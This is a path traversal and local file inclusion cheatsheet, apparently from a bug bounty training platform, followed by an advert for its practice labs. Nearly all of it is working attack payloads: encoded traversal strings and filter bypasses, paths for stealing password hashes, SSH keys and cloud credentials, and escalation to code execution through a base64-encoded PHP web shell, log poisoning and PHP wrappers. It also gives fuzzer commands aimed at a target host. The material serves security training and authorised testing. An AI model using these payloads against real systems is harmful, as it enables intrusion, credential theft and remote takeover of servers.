Path Traversal Cheatsheet

Directory Traversal / LFI

Quick reference

  • Always try multiple traversal depths: from 1 to 10 directories up
  • On PHP < 5.3, a null byte (%00) truncates the forced extension (.php, .png)
  • Log poisoning: inject a PHP payload in User-Agent/Referer, then include the log via LFI
  • /proc/self/environ holds environment variables with cloud credentials
  • If the server normalizes the path, try double encoding (%252e%252e%252f)

Basic payloads

Unix - /etc/passwd

../../../../etc/passwd

Windows - win.ini

..\..\..\..\windows\win.ini

With null byte (PHP < 5.3)

../../../../etc/passwd%00.png

Double encoding

..%252f..%252f..%252fetc/passwd

UTF-8 encoding

..%c0%af..%c0%af..%c0%afetc/passwd

Path with /Bypass for filters that strip ../

/....//....//....//etc/passwd

Filter bypass

Double dot removedIf the server strips ../ once, ../ remains

....//....//....//etc/passwd

URL-encoded dot

%2e%2e/%2e%2e/%2e%2e/etc/passwd

Mixed encoding

.%2e/.%2e/.%2e/etc/passwd

Backslash (Windows)

..%5c..%5c..%5cwindows%5cwin.ini

Absolute pathSometimes works without traversal if there's no base path

/etc/passwd

Interesting files - Linux

/etc/passwd

/etc/passwd

/etc/shadowRequires root — contains password hashes

/etc/shadow

Environment variablesContains AWS keys, secrets, tokens

/proc/self/environ

Command line

/proc/self/cmdline

SSH private key

/home/user/.ssh/id_rsa

Bash history

/home/user/.bash_history

AWS Lambda sourceFull source code of Lambda functions

/var/task/lambda_function.py

Interesting files - Windows

SAM database

C:\Windows\System32\config\SAM

Web.config

C:\inetpub\wwwroot\web.config

Hosts file

C:\Windows\System32\drivers\etc\hosts

IIS logs

C:\inetpub\logs\LogFiles

LFI to RCE escalation

PHP wrappers - base64Read PHP source code base64-encoded

php://filter/convert.base64-encode/resource=config.php

PHP wrappers - dataBase64 of: <?php system($_GET["cmd"]);?>

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

PHP expectRequires the expect extension enabled

expect://id

Log poisoningInject PHP in User-Agent, then include the log

/var/log/apache2/access.log

/proc/self/fd/ bruteforceOpen file descriptors may hold temp files with code

/proc/self/fd/5

Tools

dotdotpwn

Path traversal fuzzer with multiple operating modes

dotdotpwn -m http -h target.com -x 8080 -f /etc/passwd

ffuf

Fast fuzzer to test LFI payloads in parameters

ffuf -u "https://target.com/download?file=FUZZ" -w lfi-payloads.txt -mc 200

LFISuite

Automated LFI exploitation suite with multiple RCE techniques

python3 lfisuite.py

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs
hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime